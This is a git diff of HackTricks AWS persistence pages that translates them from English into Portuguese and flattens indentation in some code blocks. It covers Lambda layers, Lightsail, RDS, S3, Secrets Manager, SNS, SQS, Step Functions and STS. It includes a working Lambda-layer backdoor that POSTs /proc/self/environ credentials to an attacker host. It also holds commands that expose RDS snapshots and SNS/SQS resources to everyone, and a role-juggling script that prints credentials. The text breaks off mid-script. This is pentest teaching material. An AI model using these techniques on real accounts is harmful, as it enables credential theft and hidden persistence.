Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image. +Funções implantadas como uma imagem de contêiner não usam camadas. Em vez disso, você empacota seu runtime preferido, bibliotecas e outras dependências na imagem do contêiner ao construir a imagem. -### Python load path - -The load path that Python will use in lambda is the following: +### Caminho de carregamento do Python +O caminho de carregamento que o Python usará na lambda é o seguinte: ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` - -Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`** +Verifique como as **segundas** e **terceiras** **posições** são ocupadas por diretórios onde **lambda layers** descompactam seus arquivos: **`/opt/python/lib/python3.9/site-packages`** e **`/opt/python`** > [!CAUTION] -> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation. +> Se um atacante conseguir **backdoor** uma **layer** lambda usada ou **adicionar uma** que estará **executando código arbitrário quando uma biblioteca comum for carregada**, ele poderá executar código malicioso com cada invocação da lambda. -Therefore, the requisites are: +Portanto, os requisitos são: -- **Check libraries** that are **loaded** by the victims code -- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library. +- **Verificar bibliotecas** que são **carregadas** pelo código das vítimas +- Criar uma **biblioteca proxy com lambda layers** que irá **executar código personalizado** e **carregar a biblioteca original**. -### Preloaded libraries +### Bibliotecas pré-carregadas > [!WARNING] -> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\ -> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed. - -With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda: +> Ao abusar dessa técnica, encontrei uma dificuldade: Algumas bibliotecas já estão **carregadas** no tempo de execução do python quando seu código é executado. Eu esperava encontrar coisas como `os` ou `sys`, mas **até a biblioteca `json` estava carregada**.\ +> Para abusar dessa técnica de persistência, o código precisa **carregar uma nova biblioteca que não esteja carregada** quando o código é executado. +Com um código python como este, é possível obter a **lista de bibliotecas que estão pré-carregadas** dentro do tempo de execução do python na lambda: ```python import sys def lambda_handler(event, context): - return { - 'statusCode': 200, - 'body': str(sys.modules.keys()) - } +return { +'statusCode': 200, +'body': str(sys.modules.keys()) +} ``` - -And this is the **list** (check that libraries like `os` or `json` are already there) - +E esta é a **lista** (verifique se bibliotecas como `os` ou `json` já estão lá) ``` 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function' ``` +E esta é a lista de **bibliotecas** que **lambda inclui instaladas por padrão**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) -And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) +### Backdooring de Camada Lambda -### Lambda Layer Backdooring +Neste exemplo, vamos supor que o código alvo está importando **`csv`**. Vamos **backdoor a importação da biblioteca `csv`**. -In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**. +Para fazer isso, vamos **criar o diretório csv** com o arquivo **`__init__.py`** nele em um caminho que é carregado pelo lambda: **`/opt/python/lib/python3.9/site-packages`**\ +Então, quando o lambda for executado e tentar carregar **csv**, nosso **arquivo `__init__.py` será carregado e executado**.\ +Este arquivo deve: -For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\ -Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\ -This file must: - -- Execute our payload -- Load the original csv library - -We can do both with: +- Executar nosso payload +- Carregar a biblioteca csv original +Podemos fazer ambos com: ```python import sys from urllib import request with open("/proc/self/environ", "rb") as file: - url= "https://attacker13123344.com/" #Change this to your server - req = request.Request(url, data=file.read(), method="POST") - response = request.urlopen(req) +url= "https://attacker13123344.com/" #Change this to your server +req = request.Request(url, data=file.read(), method="POST") +response = request.urlopen(req) # Remove backdoor directory from path to load original library del_path_dir = "/".join(__file__.split("/")[:-2]) @@ -90,29 +83,27 @@ import csv as _csv sys.modules["csv"] = _csv ``` +Então, crie um zip com este código no caminho **`python/lib/python3.9/site-packages/__init__.py`** e adicione-o como uma camada lambda. -Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer. +Você pode encontrar este código em [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) -You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) - -The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated: +O payload integrado **enviará as credenciais IAM para um servidor NA PRIMEIRA VEZ que for invocado ou APÓS um reset do contêiner lambda** (mudança de código ou lambda fria), mas **outras técnicas** como as seguintes também poderiam ser integradas: {{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -### External Layers +### Camadas Externas -Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\ -Also note that the **max number of layers a lambda can have is 5**. +Note que é possível usar **camadas lambda de contas externas**. Além disso, uma lambda pode usar uma camada de uma conta externa mesmo que não tenha permissões.\ +Também note que o **número máximo de camadas que uma lambda pode ter é 5**. -Therefore, in order to improve the versatility of this technique an attacker could: - -- Backdoor an existing layer of the user (nothing is external) -- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**. - - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda) - - The victim **won't see external layers** used with **`aws lambda list-layers`** +Portanto, para melhorar a versatilidade desta técnica, um atacante poderia: +- Backdoor uma camada existente do usuário (nada é externo) +- **Criar** uma **camada** em **sua conta**, dar **acesso à conta da vítima** para usar a camada, **configurar** a **camada** na Lambda da vítima e **remover a permissão**. +- A **Lambda** ainda poderá **usar a camada** e a **vítima não** terá nenhuma maneira fácil de **baixar o código das camadas** (além de conseguir um rev shell dentro da lambda) +- A vítima **não verá camadas externas** usadas com **`aws lambda list-layers`** ```bash # Upload backdoor layer aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" @@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen # Remove permissions aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index 88b0d082a..884b000a6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -4,34 +4,30 @@ ## Lightsail -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} -### Download Instance SSH keys & DB passwords +### Baixar chaves SSH da instância e senhas do DB -They won't be changed probably so just having them is a good option for persistence +Elas provavelmente não serão alteradas, então tê-las é uma boa opção para persistência ### Backdoor Instances -An attacker could get access to the instances and backdoor them: +Um atacante poderia obter acesso às instâncias e backdoor elas: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** -- Expose a port with port knocking with a backdoor +- Usando um **rootkit** tradicional, por exemplo +- Adicionando uma nova **chave SSH pública** +- Expondo uma porta com port knocking com um backdoor -### DNS persistence +### Persistência DNS -If domains are configured: +Se os domínios estiverem configurados: -- Create a subdomain pointing your IP so you will have a **subdomain takeover** -- Create **SPF** record allowing you to send **emails** from the domain -- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones +- Crie um subdomínio apontando seu IP para que você tenha uma **subdomain takeover** +- Crie um registro **SPF** permitindo que você envie **emails** do domínio +- Configure o **IP do domínio principal para o seu próprio** e realize um **MitM** do seu IP para os legítimos {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index b7a4b8f7b..e5795ff0f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -4,32 +4,24 @@ ## RDS -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}} -### Make instance publicly accessible: `rds:ModifyDBInstance` - -An attacker with this permission can **modify an existing RDS instance to enable public accessibility**. +### Tornar a instância acessível publicamente: `rds:ModifyDBInstance` +Um atacante com esta permissão pode **modificar uma instância RDS existente para habilitar a acessibilidade pública**. ```bash aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately ``` +### Criar um usuário admin dentro do DB -### Create an admin user inside the DB - -An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database. - -### Make snapshot public +Um atacante poderia **criar um usuário dentro do DB** para que mesmo se a senha do usuário master for modificada, ele **não perca o acesso** ao banco de dados. +### Tornar o snapshot público ```bash aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index f2c4ce048..bd4f9dd5b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -4,26 +4,22 @@ ## S3 -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### KMS Client-Side Encryption +### KMS Criptografia do Lado do Cliente -When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again: +Quando o processo de criptografia é concluído, o usuário usará a API KMS para gerar uma nova chave (`aws kms generate-data-key`) e ele **armazenará a chave criptografada gerada dentro dos metadados** do arquivo ([exemplo de código python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) para que, quando a descriptografia ocorrer, ele possa descriptografá-la usando o KMS novamente:
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it. +Portanto, um atacante poderia obter essa chave dos metadados e descriptografar com KMS (`aws kms decrypt`) para obter a chave usada para criptografar as informações. Dessa forma, o atacante terá a chave de criptografia e, se essa chave for reutilizada para criptografar outros arquivos, ele poderá usá-la. -### Using S3 ACLs +### Usando ACLs do S3 -Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket. +Embora geralmente as ACLs dos buckets estejam desativadas, um atacante com privilégios suficientes poderia abusar delas (se ativadas ou se o atacante puder ativá-las) para manter o acesso ao bucket S3. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index c15f27003..57f85f2f8 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -1,57 +1,51 @@ -# AWS - Secrets Manager Persistence +# AWS - Persistência do Secrets Manager {{#include ../../../banners/hacktricks-training.md}} ## Secrets Manager -For more info check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Via Resource Policies +### Via Políticas de Recursos -It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**. +É possível **conceder acesso a segredos para contas externas** por meio de políticas de recursos. Consulte a [**página de Privesc do Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para mais informações. Observe que, para **acessar um segredo**, a conta externa também **precisará de acesso à chave KMS que criptografa o segredo**. -### Via Secrets Rotate Lambda +### Via Lambda de Rotação de Segredos -To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself. - -This is how lambda code for such action could look like: +Para **rotacionar segredos** automaticamente, uma **Lambda** configurada é chamada. Se um atacante puder **alterar** o **código**, ele poderá **exfiltrar diretamente o novo segredo** para si mesmo. +Este é um exemplo de como o código da lambda para tal ação poderia ser: ```python import boto3 def rotate_secrets(event, context): - # Create a Secrets Manager client - client = boto3.client('secretsmanager') +# Create a Secrets Manager client +client = boto3.client('secretsmanager') - # Retrieve the current secret value - secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] +# Retrieve the current secret value +secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] - # Rotate the secret by updating its value - new_secret_value = rotate_secret(secret_value) - client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) +# Rotate the secret by updating its value +new_secret_value = rotate_secret(secret_value) +client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) def rotate_secret(secret_value): - # Perform the rotation logic here, e.g., generate a new password +# Perform the rotation logic here, e.g., generate a new password - # Example: Generate a new password - new_secret_value = generate_password() +# Example: Generate a new password +new_secret_value = generate_password() - return new_secret_value +return new_secret_value def generate_password(): - # Example: Generate a random password using the secrets module - import secrets - import string - password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) - return password +# Example: Generate a random password using the secrets module +import secrets +import string +password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) +return password ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index 8e97cc81c..4ed0e8a7f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -4,7 +4,7 @@ ## SNS -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,74 +12,66 @@ For more information check: ### Persistence -When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ -The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**: - +Ao criar um **tópico SNS**, você precisa indicar com uma política IAM **quem tem acesso para ler e escrever**. É possível indicar contas externas, ARN de funções ou **até mesmo "\*"**.\ +A seguinte política dá a todos na AWS acesso para ler e escrever no tópico SNS chamado **`MySNS.fifo`**: ```json { - "Version": "2008-10-17", - "Id": "__default_policy_ID", - "Statement": [ - { - "Sid": "__default_statement_ID", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "SNS:Publish", - "SNS:RemovePermission", - "SNS:SetTopicAttributes", - "SNS:DeleteTopic", - "SNS:ListSubscriptionsByTopic", - "SNS:GetTopicAttributes", - "SNS:AddPermission", - "SNS:Subscribe" - ], - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", - "Condition": { - "StringEquals": { - "AWS:SourceOwner": "318142138553" - } - } - }, - { - "Sid": "__console_pub_0", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "SNS:Publish", - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" - }, - { - "Sid": "__console_sub_0", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "SNS:Subscribe", - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" - } - ] +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__default_statement_ID", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"SNS:Publish", +"SNS:RemovePermission", +"SNS:SetTopicAttributes", +"SNS:DeleteTopic", +"SNS:ListSubscriptionsByTopic", +"SNS:GetTopicAttributes", +"SNS:AddPermission", +"SNS:Subscribe" +], +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", +"Condition": { +"StringEquals": { +"AWS:SourceOwner": "318142138553" +} +} +}, +{ +"Sid": "__console_pub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Publish", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +}, +{ +"Sid": "__console_sub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Subscribe", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +} +] } ``` +### Criar Assinantes -### Create Subscribers - -To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**. - -Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used. +Para continuar a exfiltrar todas as mensagens de todos os tópicos, o atacante poderia **criar assinantes para todos os tópicos**. +Observe que se o **tópico for do tipo FIFO**, apenas assinantes usando o protocolo **SQS** podem ser utilizados. ```bash aws sns subscribe --region \ - --protocol http \ - --notification-endpoint http:/// \ - --topic-arn +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 88f396173..6411ad902 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -4,40 +4,34 @@ ## SQS -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Using resource policy - -In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ -The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**: +### Usando política de recursos +No SQS, você precisa indicar com uma política IAM **quem tem acesso para ler e escrever**. É possível indicar contas externas, ARN de funções ou **até mesmo "\*"**.\ +A seguinte política dá a todos na AWS acesso a tudo na fila chamada **MyTestQueue**: ```json { - "Version": "2008-10-17", - "Id": "__default_policy_ID", - "Statement": [ - { - "Sid": "__owner_statement", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": ["SQS:*"], - "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" - } - ] +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__owner_statement", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": ["SQS:*"], +"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" +} +] } ``` - > [!NOTE] -> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> Você poderia até **disparar um Lambda na conta do atacante toda vez que uma nova mensagem** for colocada na fila (você precisaria re-colocá-la) de alguma forma. Para isso, siga estas instruções: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md index c1b9a422b..3bd0aae28 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md @@ -1,6 +1 @@ # AWS - SSM Perssitence - - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index 4e8c120ff..706903f8f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -1,25 +1,21 @@ -# AWS - Step Functions Persistence +# AWS - Persistência de Funções de Passo {{#include ../../../banners/hacktricks-training.md}} -## Step Functions +## Funções de Passo -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Step function Backdooring +### Backdooring de Função de Passo -Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps. +Backdoor uma função de passo para fazer com que ela execute qualquer truque de persistência, de modo que toda vez que for executada, ela execute seus passos maliciosos. -### Backdooring aliases +### Backdooring de aliases -If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function. +Se a conta AWS estiver usando aliases para chamar funções de passo, seria possível modificar um alias para usar uma nova versão backdoored da função de passo. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 74db04bec..2c2987bb5 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -4,62 +4,59 @@ ## STS -For more information access: +Para mais informações, acesse: {{#ref}} ../aws-services/aws-sts-enum.md {{#endref}} -### Assume role token +### Token de função assumida -Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence. +Tokens temporários não podem ser listados, então manter um token temporário ativo é uma forma de manter a persistência.
aws sts get-session-token --duration-seconds 129600
 
-# With MFA
+# Com MFA
 aws sts get-session-token \
-    --serial-number <mfa-device-name> \
-    --token-code <code-from-token>
+--serial-number <mfa-device-name> \
+--token-code <code-from-token>
 
-# Hardware device name is usually the number from the back of the device, such as GAHT12345678
-# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
-# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
+# O nome do dispositivo de hardware é geralmente o número na parte de trás do dispositivo, como GAHT12345678
+# O nome do dispositivo SMS é o ARN na AWS, como arn:aws:iam::123456789012:sms-mfa/username
+# O nome do dispositivo virtual é o ARN na AWS, como arn:aws:iam::123456789012:mfa/username
 
-### Role Chain Juggling +### Malabarismo de Cadeia de Funções -[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials. - -You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going: +[**A cadeia de funções é um recurso reconhecido da AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), frequentemente utilizado para manter a persistência furtiva. Envolve a capacidade de **assumir uma função que então assume outra**, potencialmente revertendo para a função inicial de maneira **cíclica**. Cada vez que uma função é assumida, o campo de expiração das credenciais é atualizado. Consequentemente, se duas funções forem configuradas para assumir mutuamente uma à outra, essa configuração permite a renovação perpétua das credenciais. +Você pode usar esta [**ferramenta**](https://github.com/hotnops/AWSRoleJuggler/) para manter a cadeia de funções ativa: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] optional arguments: - -h, --help show this help message and exit - -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] +-h, --help show this help message and exit +-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` - > [!CAUTION] -> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured. +> Note que o script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) daquele repositório do Github não encontra todas as maneiras como uma cadeia de funções pode ser configurada.
-Code to perform Role Juggling from PowerShell - +Código para realizar Role Juggling a partir do PowerShell ```powershell # PowerShell script to check for role juggling possibilities using AWS CLI # Check for AWS CLI installation if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) { - Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." - exit +Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." +exit } # Function to list IAM roles function List-IAMRoles { - aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json +aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json } # Initialize error count @@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json # Attempt to assume each role foreach ($role in $roles) { - $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) - try { - $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json - if ($credentials) { - Write-Host "Successfully assumed role: $($role.RoleName)" - Write-Host "Access Key: $($credentials.AccessKeyId)" - Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" - Write-Host "Session Token: $($credentials.SessionToken)" - Write-Host "Expiration: $($credentials.Expiration)" +$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) +try { +$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json +if ($credentials) { +Write-Host "Successfully assumed role: $($role.RoleName)" +Write-Host "Access Key: $($credentials.AccessKeyId)" +Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" +Write-Host "Session Token: $($credentials.SessionToken)" +Write-Host "Expiration: $($credentials.Expiration)" - # Set temporary credentials to assume the next role - $env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId - $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey - $env:AWS_SESSION_TOKEN = $credentials.SessionToken +# Set temporary credentials to assume the next role +$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId +$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey +$env:AWS_SESSION_TOKEN = $credentials.SessionToken - # Try to assume another role using the temporary credentials - foreach ($nextRole in $roles) { - if ($nextRole.Arn -ne $role.Arn) { - $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) - try { - $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json - if ($nextCredentials) { - Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" - Write-Host "Access Key: $($nextCredentials.AccessKeyId)" - Write-Host 